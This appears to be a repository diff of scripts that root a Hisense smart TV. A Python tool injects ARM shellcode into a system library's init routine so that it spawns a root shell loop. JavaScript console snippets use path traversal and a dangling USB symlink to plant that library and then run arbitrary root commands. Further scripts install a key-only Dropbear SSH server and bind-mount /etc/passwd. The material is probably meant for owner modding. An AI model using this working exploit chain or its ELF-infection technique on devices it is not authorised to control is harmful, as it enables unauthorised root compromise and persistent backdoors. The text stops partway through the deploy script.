# Only needed if you do not want to use the prebuilt binaries in tools/pub/.
|
||||||
|
set -euo pipefail
|
||||||
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||||
|
TOP="$(cd "$ROOT/.." && pwd)"
|
||||||
|
SRC="$TOP/sources/dropbear-2022.83.tar.bz2"
|
||||||
|
BUILD="$TOP/build/dropbear"
|
||||||
|
TAR_SHA="bc5a121ffbc94b5171ad5ebe01be42746d50aa797c9549a4639894a16749443b"
|
||||||
|
|
||||||
|
[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
|
||||||
|
echo "$TAR_SHA $SRC" | sha256sum -c -
|
||||||
|
command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
|
||||||
|
|
||||||
|
rm -rf "$BUILD"; mkdir -p "$BUILD"
|
||||||
|
tar xjf "$SRC" -C "$BUILD"
|
||||||
|
cd "$BUILD/dropbear-2022.83"
|
||||||
|
|
||||||
|
./configure --host=arm-linux-gnueabihf \
|
||||||
|
--disable-zlib --disable-pam --disable-shadow \
|
||||||
|
--disable-lastlog --disable-utmp --disable-wtmp \
|
||||||
|
--disable-utmpx --disable-wtmpx \
|
||||||
|
--disable-pututline --disable-pututxline \
|
||||||
|
CC=arm-linux-gnueabihf-gcc \
|
||||||
|
CFLAGS="-Os -static" LDFLAGS="-static"
|
||||||
|
|
||||||
|
# Key-only root SSH; no password auth, no client.
|
||||||
|
cat >> localoptions.h <<'EOF'
|
||||||
|
|
||||||
|
#define DROPBEAR_SVR_PASSWORD_AUTH 0
|
||||||
|
#define DROPBEAR_SVR_PUBKEY_AUTH 1
|
||||||
|
#define DROPBEAR_CLIENT 0
|
||||||
|
EOF
|
||||||
|
|
||||||
|
make -j"$(nproc)" PROGRAMS="dropbear dropbearkey"
|
||||||
|
|
||||||
|
cp -f dropbear "$ROOT/tools/pub/dropbear"
|
||||||
|
cp -f dropbearkey "$ROOT/tools/pub/dropbearkey"
|
||||||
|
chmod 755 "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbearkey"
|
||||||
|
|
||||||
|
# Optional SFTP: Dropbear has no sftp-server; patch SFTPSERVER_PATH to the
|
||||||
|
# writable /3rd_rw/sshd path. The static sftp-server comes from
|
||||||
|
# build_sftp_server.sh.
|
||||||
|
python3 "$HERE/patch_dropbear_sftp.py"
|
||||||
|
|
||||||
|
echo "---"
|
||||||
|
file "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"
|
||||||
|
readelf -d "$ROOT/tools/pub/dropbear" 2>&1 | head -5 || true
|
||||||
|
sha256sum "$ROOT/tools/pub/dropbear" "$ROOT/tools/pub/dropbear-sftp" "$ROOT/tools/pub/dropbearkey"
|
||||||
Executable
+15
@@ -0,0 +1,15 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Builds the final libtvsysinfo payload from the included original.
|
||||||
|
# Requires: python3, arm-linux-gnueabihf-{as,ld,objcopy}.
|
||||||
|
set -euo pipefail
|
||||||
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||||
|
|
||||||
|
for t in arm-linux-gnueabihf-as arm-linux-gnueabihf-ld arm-linux-gnueabihf-objcopy python3; do
|
||||||
|
command -v "$t" >/dev/null || { echo "missing: $t"; exit 1; }
|
||||||
|
done
|
||||||
|
|
||||||
|
python3 "$HERE/build_tvi_payload.py"
|
||||||
|
echo "---"
|
||||||
|
sha256sum "$ROOT/tools/pub/libtvsysinfo.so"
|
||||||
|
echo "expected: 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a"
|
||||||
Executable
+44
@@ -0,0 +1,44 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# build_sftp_server.sh — rebuild the static ARM OpenSSH sftp-server.
|
||||||
|
#
|
||||||
|
# Source: https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/
|
||||||
|
# openssh-9.9p1.tar.gz
|
||||||
|
# The TV has glibc 2.18 and no package manager; a static build is used.
|
||||||
|
# Only sftp-server is built (no ssh/sshd, no OpenSSL/zlib/PAM needed).
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||||
|
TOP="$(cd "$ROOT/.." && pwd)"
|
||||||
|
SRC="$TOP/sources/openssh-9.9p1.tar.gz"
|
||||||
|
BUILD="$TOP/build/openssh"
|
||||||
|
TAR_SHA="b343fbcdbff87f15b1986e6e15d6d4fc9a7d36066be6b7fb507087ba8f966c02"
|
||||||
|
|
||||||
|
[ -f "$SRC" ] || { echo "missing $SRC"; exit 1; }
|
||||||
|
echo "$TAR_SHA $SRC" | sha256sum -c -
|
||||||
|
command -v arm-linux-gnueabihf-gcc >/dev/null || { echo "missing arm-linux-gnueabihf-gcc"; exit 1; }
|
||||||
|
|
||||||
|
rm -rf "$BUILD"; mkdir -p "$BUILD"
|
||||||
|
tar xzf "$SRC" -C "$BUILD"
|
||||||
|
cd "$BUILD/openssh-9.9p1"
|
||||||
|
|
||||||
|
./configure --host=arm-linux-gnueabihf \
|
||||||
|
--without-openssl --without-zlib --without-pam \
|
||||||
|
--disable-etc-default-login --disable-lastlog --disable-utmp --disable-wtmp \
|
||||||
|
--disable-utmpx --disable-wtmpx --without-selinux --without-audit \
|
||||||
|
CC=arm-linux-gnueabihf-gcc CFLAGS="-Os -fno-pie" LDFLAGS="-static -no-pie"
|
||||||
|
|
||||||
|
make -j"$(nproc)" sftp-server
|
||||||
|
arm-linux-gnueabihf-strip sftp-server
|
||||||
|
cp -f sftp-server "$ROOT/tools/pub/sftp-server"
|
||||||
|
chmod 755 "$ROOT/tools/pub/sftp-server"
|
||||||
|
|
||||||
|
echo "---"
|
||||||
|
file "$ROOT/tools/pub/sftp-server"
|
||||||
|
readelf -d "$ROOT/tools/pub/sftp-server" 2>&1 | head -5 || true
|
||||||
|
sha256sum "$ROOT/tools/pub/sftp-server"
|
||||||
|
|
||||||
|
if command -v qemu-arm >/dev/null; then
|
||||||
|
echo "--- qemu smoke ---"
|
||||||
|
timeout 3 qemu-arm "$ROOT/tools/pub/sftp-server" -h 2>&1 | head -5 || true
|
||||||
|
fi
|
||||||
Executable
+118
@@ -0,0 +1,118 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import struct, subprocess, os, sys, tempfile
|
||||||
|
|
||||||
|
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
def parse_elf(d):
|
||||||
|
e_phoff = struct.unpack_from('<I', d, 28)[0]
|
||||||
|
e_phentsize = struct.unpack_from('<H', d, 42)[0]
|
||||||
|
e_phnum = struct.unpack_from('<H', d, 44)[0]
|
||||||
|
ph = []
|
||||||
|
for i in range(e_phnum):
|
||||||
|
o = e_phoff + i*e_phentsize
|
||||||
|
t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
|
||||||
|
ph.append(dict(type=t, off=off, va=va, fs=fs, ms=ms, fl=fl))
|
||||||
|
return ph
|
||||||
|
|
||||||
|
def find_dyn_init(d, ph):
|
||||||
|
for p in ph:
|
||||||
|
if p['type'] != 2: continue
|
||||||
|
off = p['off']
|
||||||
|
for j in range(0, p['fs'], 8):
|
||||||
|
tag, val = struct.unpack_from('<II', d, off+j)
|
||||||
|
if tag == 12:
|
||||||
|
return off+j, val
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
def gen_asm(cave, orig, selfpath, proofpath, msg, sh, script, test=False):
|
||||||
|
mlen = len(msg.encode('latin1'))
|
||||||
|
s = []
|
||||||
|
s.append(' .arm\n .syntax unified\n .text\n .global _start\n_start:\n')
|
||||||
|
s.append(' push {r4-r7, r8, lr}\n')
|
||||||
|
# unlink self first
|
||||||
|
s.append(' adr r0, selfp\n mov r7, #10\n svc #0\n')
|
||||||
|
# write proof
|
||||||
|
s.append(' adr r0, proofp\n movw r1, #0x241\n movw r2, #0x1a4\n mov r7, #5\n svc #0\n')
|
||||||
|
s.append(' mov r4, r0\n cmp r4, #0\n blt 1f\n')
|
||||||
|
s.append(' mov r0, r4\n adr r1, msgs\n mov r2, #%d\n mov r7, #4\n svc #0\n' % mlen)
|
||||||
|
s.append(' mov r0, r4\n mov r7, #6\n svc #0\n1:\n')
|
||||||
|
# fork
|
||||||
|
s.append(' mov r7, #2\n svc #0\n cmp r0, #0\n bne 2f\n')
|
||||||
|
# child execve
|
||||||
|
s.append(' adr r0, shp\n adr r1, scriptp\n mov r2, #0\n sub sp, sp, #12\n')
|
||||||
|
s.append(' str r0, [sp]\n str r1, [sp, #4]\n str r2, [sp, #8]\n')
|
||||||
|
s.append(' mov r1, sp\n mov r2, #0\n mov r7, #11\n svc #0\n')
|
||||||
|
s.append(' mov r0, #1\n mov r7, #1\n svc #0\n2:\n')
|
||||||
|
# call original init: PC-relative BL, base-independent
|
||||||
|
if test:
|
||||||
|
s.append(' bl orig_stub\n')
|
||||||
|
else:
|
||||||
|
s.append(' bl orig_init\n')
|
||||||
|
s.append(' pop {r4-r7, r8, pc}\n')
|
||||||
|
s.append('here:\n .balign 4\n')
|
||||||
|
s.append('proofp: .asciz "%s"\n .balign 4\n' % proofpath)
|
||||||
|
s.append('msgs: .ascii "%s"\n .balign 4\n' % msg.replace('\n','\\n'))
|
||||||
|
s.append('selfp: .asciz "%s"\n .balign 4\n' % selfpath)
|
||||||
|
s.append('shp: .asciz "%s"\n .balign 4\n' % sh)
|
||||||
|
s.append('scriptp: .asciz "%s"\n .balign 4\n' % script)
|
||||||
|
if test:
|
||||||
|
s.append('orig_stub:\n bx lr\n .balign 4\n')
|
||||||
|
else:
|
||||||
|
s.append(' .equ orig_init, %d\n' % orig)
|
||||||
|
return ''.join(s)
|
||||||
|
|
||||||
|
def build(name, src, out, selfpath, proofpath, msg, test=False, orig_override=None, script='/3rd_rw/appdata/root_loop.sh'):
|
||||||
|
d = bytearray(open(src,'rb').read())
|
||||||
|
ph = parse_elf(d)
|
||||||
|
rx = [p for p in ph if p['type']==1][0]
|
||||||
|
dyn_off, orig = find_dyn_init(d, ph)
|
||||||
|
if orig_override is not None: orig = orig_override
|
||||||
|
if dyn_off is None: raise SystemExit('no DT_INIT')
|
||||||
|
if rx['ms'] != rx['fs']:
|
||||||
|
raise SystemExit('RX segment has BSS; append would collide')
|
||||||
|
cave = len(d)
|
||||||
|
asm = gen_asm(cave, orig, selfpath, proofpath, msg, '/bin/sh', script, test=test)
|
||||||
|
td = tempfile.mkdtemp(prefix='pl_')
|
||||||
|
sp = os.path.join(td,'p.s'); op = os.path.join(td,'p.o'); ep = os.path.join(td,'p.elf'); bp = os.path.join(td,'p.bin')
|
||||||
|
open(sp,'w').write(asm)
|
||||||
|
subprocess.run(['arm-linux-gnueabihf-as','-o',op,sp],check=True)
|
||||||
|
subprocess.run(['arm-linux-gnueabihf-ld','-Ttext=0x%x'%cave,'-e','0','-o',ep,op],check=True)
|
||||||
|
subprocess.run(['arm-linux-gnueabihf-objcopy','-O','binary','-j','.text',ep,bp],check=True)
|
||||||
|
code = open(bp,'rb').read()
|
||||||
|
oldsize = len(d)
|
||||||
|
d += code
|
||||||
|
newsize = len(d)
|
||||||
|
# find the first LOAD program header file offset and extend filesz/memsz
|
||||||
|
e_phoff = struct.unpack_from('<I', d, 28)[0]
|
||||||
|
e_phentsize = struct.unpack_from('<H', d, 42)[0]
|
||||||
|
e_phnum = struct.unpack_from('<H', d, 44)[0]
|
||||||
|
patched = False
|
||||||
|
for i in range(e_phnum):
|
||||||
|
o = e_phoff + i*e_phentsize
|
||||||
|
t,off,va,pa,fs,ms,fl,al = struct.unpack_from('<8I', d, o)
|
||||||
|
if t == 1 and off == rx['off'] and va == rx['va']:
|
||||||
|
struct.pack_into('<I', d, o+16, newsize)
|
||||||
|
struct.pack_into('<I', d, o+20, newsize)
|
||||||
|
patched = True
|
||||||
|
break
|
||||||
|
if not patched: raise SystemExit('RX program header not found')
|
||||||
|
struct.pack_into('<I', d, dyn_off+4, cave)
|
||||||
|
open(out,'wb').write(d)
|
||||||
|
ph2 = parse_elf(d)
|
||||||
|
_, o2 = find_dyn_init(d, ph2)
|
||||||
|
print('%s: code 0x%x, cave 0x%x, orig 0x%x, size 0x%x->0x%x, INIT 0x%x, RX page end 0x%x' % (
|
||||||
|
name, len(code), cave, orig, oldsize, newsize, o2, (newsize+0xfff)&~0xfff))
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
here = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
root = os.path.abspath(os.path.join(here, '..', '..'))
|
||||||
|
src = os.path.join(root, 'artifacts', 'tvi_original.so')
|
||||||
|
out = os.path.join(root, 'tools', 'pub', 'libtvsysinfo.so')
|
||||||
|
build('tvi', src, out,
|
||||||
|
'/3rd_rw/loglevel/lib/libtvsysinfo.so',
|
||||||
|
'/3rd_rw/root_proof.txt',
|
||||||
|
'ROOT_EXEC_TVI\n')
|
||||||
|
import hashlib
|
||||||
|
h = hashlib.sha256(open(out, 'rb').read()).hexdigest()
|
||||||
|
print('sha256', h)
|
||||||
|
print('expected 37b13f91959acea9b3c3fd4d0e62bb2d4cb41f773add060bef68ac67657f5b0a')
|
||||||
Executable
+85
@@ -0,0 +1,85 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# install_sftp.sh — one-command, key-only SFTP for the TV.
|
||||||
|
#
|
||||||
|
# Uploads use only `ssh` + stdin; an `sftp` client is needed only for the test:
|
||||||
|
# 1. uploads the static OpenSSH sftp-server and the patched Dropbear
|
||||||
|
# 2. starts a test Dropbear on port 2222 (port 22 untouched)
|
||||||
|
# 3. tests a real SFTP session on 2222
|
||||||
|
# 4. only on success swaps the binary on port 22
|
||||||
|
# 5. tests SFTP on 22
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
# root/scripts/host/install_sftp.sh
|
||||||
|
# TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 root/scripts/host/install_sftp.sh
|
||||||
|
#
|
||||||
|
# The TV login is key-only. The private key is never copied anywhere.
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
ROOT="$(cd "$HERE/../.." && pwd)"
|
||||||
|
TV="${TV:-root@192.168.188.94}"
|
||||||
|
SSH_KEY="${SSH_KEY:-}"
|
||||||
|
|
||||||
|
command -v ssh >/dev/null || { echo "missing ssh client"; exit 1; }
|
||||||
|
command -v sftp >/dev/null || { echo "missing sftp client (OpenSSH)"; exit 1; }
|
||||||
|
|
||||||
|
SSH_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
|
||||||
|
SFTP_OPTS=(-o BatchMode=yes -o ConnectTimeout=8 -o StrictHostKeyChecking=accept-new)
|
||||||
|
if [ -n "$SSH_KEY" ]; then
|
||||||
|
SSH_OPTS+=(-i "$SSH_KEY")
|
||||||
|
SFTP_OPTS+=(-i "$SSH_KEY")
|
||||||
|
fi
|
||||||
|
SSH=(ssh "${SSH_OPTS[@]}" "$TV")
|
||||||
|
|
||||||
|
for f in \
|
||||||
|
"$ROOT/tools/pub/sftp-server" \
|
||||||
|
"$ROOT/tools/pub/dropbear-sftp" \
|
||||||
|
"$ROOT/scripts/tv/install_sftp_stage.sh" \
|
||||||
|
"$ROOT/scripts/tv/enable_sftp.sh" \
|
||||||
|
"$ROOT/scripts/tv/swap_sftp.sh"; do
|
||||||
|
[ -f "$f" ] || { echo "missing: $f"; exit 1; }
|
||||||
|
done
|
||||||
|
|
||||||
|
echo "=== TV: $TV ==="
|
||||||
|
"${SSH[@]}" 'PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin; export PATH; /bin/cat /proc/self/status | /bin/grep -E "^(Uid|Gid|CapEff):"'
|
||||||
|
|
||||||
|
echo "=== upload ==="
|
||||||
|
"${SSH[@]}" '/bin/mkdir -p /3rd_rw/appdata /3rd_rw/sshd'
|
||||||
|
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/sftp-server' < "$ROOT/tools/pub/sftp-server"
|
||||||
|
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/dropbear-sftp' < "$ROOT/tools/pub/dropbear-sftp"
|
||||||
|
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/install_sftp_stage.sh' < "$ROOT/scripts/tv/install_sftp_stage.sh"
|
||||||
|
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/enable_sftp.sh' < "$ROOT/scripts/tv/enable_sftp.sh"
|
||||||
|
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/swap_sftp.sh' < "$ROOT/scripts/tv/swap_sftp.sh"
|
||||||
|
"${SSH[@]}" '/bin/cat > /3rd_rw/appdata/deploy_sshd.sh' < "$ROOT/scripts/tv/deploy_sshd.sh"
|
||||||
|
"${SSH[@]}" '/bin/chmod 755 /3rd_rw/appdata/sftp-server /3rd_rw/appdata/dropbear-sftp \
|
||||||
|
/3rd_rw/appdata/install_sftp_stage.sh /3rd_rw/appdata/enable_sftp.sh /3rd_rw/appdata/swap_sftp.sh \
|
||||||
|
/3rd_rw/appdata/deploy_sshd.sh'
|
||||||
|
|
||||||
|
echo "=== stage + test on 2222 ==="
|
||||||
|
"${SSH[@]}" '/bin/sh /3rd_rw/appdata/install_sftp_stage.sh'
|
||||||
|
|
||||||
|
if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -P 2222 -b - "$TV"; then
|
||||||
|
echo "SFTP on 2222 OK"
|
||||||
|
else
|
||||||
|
echo "SFTP on 2222 FAILED; port 22 was not touched."
|
||||||
|
"${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/dropbear2222.log 2>&1 || true' || true
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "=== swap to port 22 ==="
|
||||||
|
"${SSH[@]}" '/bin/sh /3rd_rw/appdata/enable_sftp.sh' || true
|
||||||
|
sleep 8
|
||||||
|
|
||||||
|
echo "=== test on 22 ==="
|
||||||
|
if printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp "${SFTP_OPTS[@]}" -b - "$TV"; then
|
||||||
|
echo "DONE: sftp $TV"
|
||||||
|
echo "Rollback:"
|
||||||
|
echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
|
||||||
|
else
|
||||||
|
echo "SFTP on 22 FAILED"
|
||||||
|
"${SSH[@]}" '/bin/busybox tail -n 40 /3rd_rw/sshd/swap.log; /bin/busybox tail -n 40 /3rd_rw/sshd/dropbear.log' 2>&1 || true
|
||||||
|
echo "Restore the known-good non-SFTP Dropbear (if port 22 is up):"
|
||||||
|
echo " ssh $TV 'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; kill \$(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; /bin/sh /3rd_rw/sshd/start_sshd.sh'"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
Executable
+35
@@ -0,0 +1,35 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Create a Dropbear copy whose SFTP subsystem points at /3rd_rw/sshd/sftp-server.
|
||||||
|
|
||||||
|
Dropbear does not ship an sftp-server; it execs the compile-time
|
||||||
|
SFTPSERVER_PATH (default /usr/libexec/sftp-server). The target rootfs is
|
||||||
|
read-only, so this copy uses the writable /3rd_rw/sshd path instead.
|
||||||
|
The replacement has exactly the same length, so no ELF offsets change.
|
||||||
|
"""
|
||||||
|
import hashlib
|
||||||
|
import pathlib
|
||||||
|
import sys
|
||||||
|
|
||||||
|
ROOT = pathlib.Path(__file__).resolve().parents[2] # .../root
|
||||||
|
SRC = ROOT / "tools" / "pub" / "dropbear"
|
||||||
|
DST = ROOT / "tools" / "pub" / "dropbear-sftp"
|
||||||
|
OLD = b"/usr/libexec/sftp-server"
|
||||||
|
NEW = b"/3rd_rw/sshd/sftp-server"
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
data = SRC.read_bytes()
|
||||||
|
if len(OLD) != len(NEW):
|
||||||
|
sys.exit(f"length mismatch: {len(OLD)} != {len(NEW)}")
|
||||||
|
n = data.count(OLD)
|
||||||
|
if n != 1:
|
||||||
|
sys.exit(f"expected exactly 1 occurrence of {OLD!r}, found {n}")
|
||||||
|
DST.write_bytes(data.replace(OLD, NEW))
|
||||||
|
DST.chmod(0o755)
|
||||||
|
h = hashlib.sha256(DST.read_bytes()).hexdigest()
|
||||||
|
print(f"wrote {DST}")
|
||||||
|
print(f"sha256 {h}")
|
||||||
|
print(f"size {DST.stat().st_size}")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,22 @@
|
|||||||
|
// plant_payload.js — paste into the TV recon page console.
|
||||||
|
// Prerequisite: the ext4 stick is mounted; /mnt/usb/<dev>/tvi is a dangling
|
||||||
|
// symlink to /3rd_rw/loglevel/lib/libtvsysinfo.so.
|
||||||
|
//
|
||||||
|
// 1) listDir("/mnt/usb") -> e.g. "sda1"
|
||||||
|
// 2) set usb below
|
||||||
|
// 3) run; expect download=0 and back=0
|
||||||
|
// 4) reboot the TV
|
||||||
|
(function(){
|
||||||
|
var usb = "/mnt/usb/sda1"; // <-- adjust from listDir("/mnt/usb")
|
||||||
|
var target = "so/../../../../dev/shm/shm_tmp" + usb + "/tvi";
|
||||||
|
var url = location.origin + "/pub/libtvsysinfo.so";
|
||||||
|
var o = {};
|
||||||
|
o.usb = usb;
|
||||||
|
o.target = target;
|
||||||
|
o.download = HiBrowser.File.download(url, target, 1);
|
||||||
|
o.back = HiBrowser.File.download("file:///3rd_rw/loglevel/lib/libtvsysinfo.so",
|
||||||
|
"tvi_check_plant.so", 1);
|
||||||
|
o.size = "expected 33500 bytes";
|
||||||
|
fetch("/recon", {method:"POST", body:"PLANT "+JSON.stringify(o)});
|
||||||
|
return o;
|
||||||
|
})();
|
||||||
Executable
+49
@@ -0,0 +1,49 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Prepares the ext4 USB stick for the dangling-symlink whitelist bypass.
|
||||||
|
# DESTRUCTIVE: wipes the given block device.
|
||||||
|
#
|
||||||
|
# Usage: sudo ./prepare_usb.sh /dev/sdX
|
||||||
|
# The TV mounts partitions, not whole-disk superfloppies -> MBR + ext4.
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
DEV="${1:-}"
|
||||||
|
if [ -z "$DEV" ] || [ ! -b "$DEV" ]; then
|
||||||
|
echo "usage: $0 /dev/sdX (block device, e.g. /dev/sdb)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
case "$DEV" in
|
||||||
|
*mmcblk*|*nvme*) PART="${DEV}p1" ;;
|
||||||
|
*) PART="${DEV}1" ;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
echo "!!! This will DESTROY $DEV and create MBR + ext4 on $PART."
|
||||||
|
lsblk -o NAME,SIZE,MODEL,LABEL "$DEV" || true
|
||||||
|
read -r -p "Type YES to continue: " confirm
|
||||||
|
[ "$confirm" = "YES" ] || { echo "aborted"; exit 1; }
|
||||||
|
|
||||||
|
sudo wipefs -a "$DEV"
|
||||||
|
sudo parted -s "$DEV" mklabel msdos mkpart primary ext4 1MiB 100%
|
||||||
|
sudo mkfs.ext4 -F -O ^64bit,^metadata_csum -L TVSYM "$PART"
|
||||||
|
|
||||||
|
sudo mkdir -p /mnt/tvsym
|
||||||
|
sudo mount "$PART" /mnt/tvsym
|
||||||
|
sudo ln -sfn /3rd_rw/loglevel/lib/libtvsysinfo.so /mnt/tvsym/tvi
|
||||||
|
sudo ln -sfn /3rd_rw/root_proof.txt /mnt/tvsym/pwn
|
||||||
|
ls -l /mnt/tvsym
|
||||||
|
sudo sync
|
||||||
|
sudo umount /mnt/tvsym
|
||||||
|
|
||||||
|
cat <<EOF
|
||||||
|
|
||||||
|
Done: $PART (label TVSYM), symlinks:
|
||||||
|
tvi -> /3rd_rw/loglevel/lib/libtvsysinfo.so (required; must stay dangling)
|
||||||
|
pwn -> /3rd_rw/root_proof.txt (optional proof target)
|
||||||
|
|
||||||
|
Next:
|
||||||
|
1. Insert the stick into the TV.
|
||||||
|
2. On the TV open http://<host-ip>:9000/recon.html
|
||||||
|
3. In the page console run root/scripts/host/plant_payload.js
|
||||||
|
(adjust the USB device, e.g. sda1, from listDir("/mnt/usb")).
|
||||||
|
4. Reboot the TV.
|
||||||
|
EOF
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
// run_root_cmd.js — paste into the TV recon page console.
|
||||||
|
// The root_loop.sh (started by the payload / HamService wrapper) executes
|
||||||
|
// /3rd_rw/appdata/root_cmd.sh and writes /3rd_rw/appdata/root_out.txt.
|
||||||
|
//
|
||||||
|
// Change CMD as needed. Examples:
|
||||||
|
// "/bin/sh /3rd_rw/appdata/deploy_sshd.sh"
|
||||||
|
// "id; cat /proc/self/status | grep -E '^(Uid|Gid|CapEff):'"
|
||||||
|
// "/bin/sh /3rd_rw/appdata/verify.sh"
|
||||||
|
// "/bin/sh /3rd_rw/appdata/rollback.sh"
|
||||||
|
(function(cmd){
|
||||||
|
var o = {};
|
||||||
|
o.write = HiBrowser.File.write("root_cmd.sh", cmd + "\n", 1);
|
||||||
|
o.cmd = cmd;
|
||||||
|
setTimeout(function(){
|
||||||
|
var out = fileXHR("file:///3rd_rw/appdata/root_out.txt");
|
||||||
|
o.out = out;
|
||||||
|
console.log(out);
|
||||||
|
fetch("/recon", {method:"POST", body:"ROOTOUT "+JSON.stringify(o)});
|
||||||
|
}, 5000);
|
||||||
|
return o;
|
||||||
|
})("/bin/sh /3rd_rw/appdata/deploy_sshd.sh");
|
||||||
Executable
+12
@@ -0,0 +1,12 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Serves root/tools/recon.html + root/tools/pub/* on port 9000 (or $1).
|
||||||
|
set -euo pipefail
|
||||||
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
cd "$HERE/../tools"
|
||||||
|
PORT="${1:-9000}"
|
||||||
|
IP="$(hostname -I 2>/dev/null | awk '{print $1}')"
|
||||||
|
[ -n "$IP" ] || IP="<host-ip>"
|
||||||
|
echo "TV URL: http://$IP:$PORT/recon.html"
|
||||||
|
echo "Pub dir: $(pwd)/pub"
|
||||||
|
echo "Captures:$(pwd)/captures"
|
||||||
|
exec python3 server.py "$PORT"
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
// upload_to_appdata.js — paste into the TV recon page console (after root).
|
||||||
|
// Downloads the SSH/Dropbear deploy files from the host server into
|
||||||
|
// /3rd_rw/appdata so deploy_sshd.sh can install them.
|
||||||
|
(function(){
|
||||||
|
var files = [
|
||||||
|
"dropbear",
|
||||||
|
"dropbear-sftp",
|
||||||
|
"dropbearkey",
|
||||||
|
"sftp-server",
|
||||||
|
"authorized_keys",
|
||||||
|
"start_sshd.sh",
|
||||||
|
"root_loop.sh",
|
||||||
|
"hamservice-wrapper.sh",
|
||||||
|
"deploy_sshd.sh",
|
||||||
|
"verify.sh",
|
||||||
|
"rollback.sh"
|
||||||
|
];
|
||||||
|
var o = {};
|
||||||
|
for (var i = 0; i < files.length; i++) {
|
||||||
|
o[files[i]] = HiBrowser.File.download(location.origin + "/pub/" + files[i],
|
||||||
|
files[i], 1);
|
||||||
|
}
|
||||||
|
fetch("/recon", {method:"POST", body:"UPLOAD "+JSON.stringify(o)});
|
||||||
|
return o;
|
||||||
|
})();
|
||||||
Executable
+97
@@ -0,0 +1,97 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# deploy_sshd.sh — run as root on the TV (e.g. via the root loop).
|
||||||
|
#
|
||||||
|
# Expects in /3rd_rw/appdata:
|
||||||
|
# dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh
|
||||||
|
# hamservice-wrapper.sh
|
||||||
|
# Upload these with root/scripts/host/upload_to_appdata.js (or File.download).
|
||||||
|
#
|
||||||
|
# Installs:
|
||||||
|
# /3rd_rw/sshd/{dropbear,dropbearkey,host_key,etc_passwd,start_sshd.sh,home/.ssh/authorized_keys}
|
||||||
|
# /3rd_rw/hamservice/HamService (wrapper; replaces the symlink)
|
||||||
|
# bind /etc/passwd -> /3rd_rw/sshd/etc_passwd
|
||||||
|
# devpts /dev/shm/pts -> bind /dev/pts (PTY workaround)
|
||||||
|
# Dropbear on 0.0.0.0:22, key-only root login
|
||||||
|
#
|
||||||
|
# Reversible with rollback.sh or the ROOT-GUIDE.
|
||||||
|
set -e
|
||||||
|
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/basic/bin
|
||||||
|
export PATH
|
||||||
|
|
||||||
|
APP=/3rd_rw/appdata
|
||||||
|
D=/3rd_rw/sshd
|
||||||
|
|
||||||
|
echo "=== deploy_sshd: start ==="
|
||||||
|
for f in dropbear dropbearkey authorized_keys start_sshd.sh root_loop.sh hamservice-wrapper.sh; do
|
||||||
|
[ -f "$APP/$f" ] || { echo "missing: $APP/$f"; exit 1; }
|
||||||
|
done
|
||||||
|
|
||||||
|
mkdir -p "$D/home/.ssh" /3rd_rw/hamservice
|
||||||
|
|
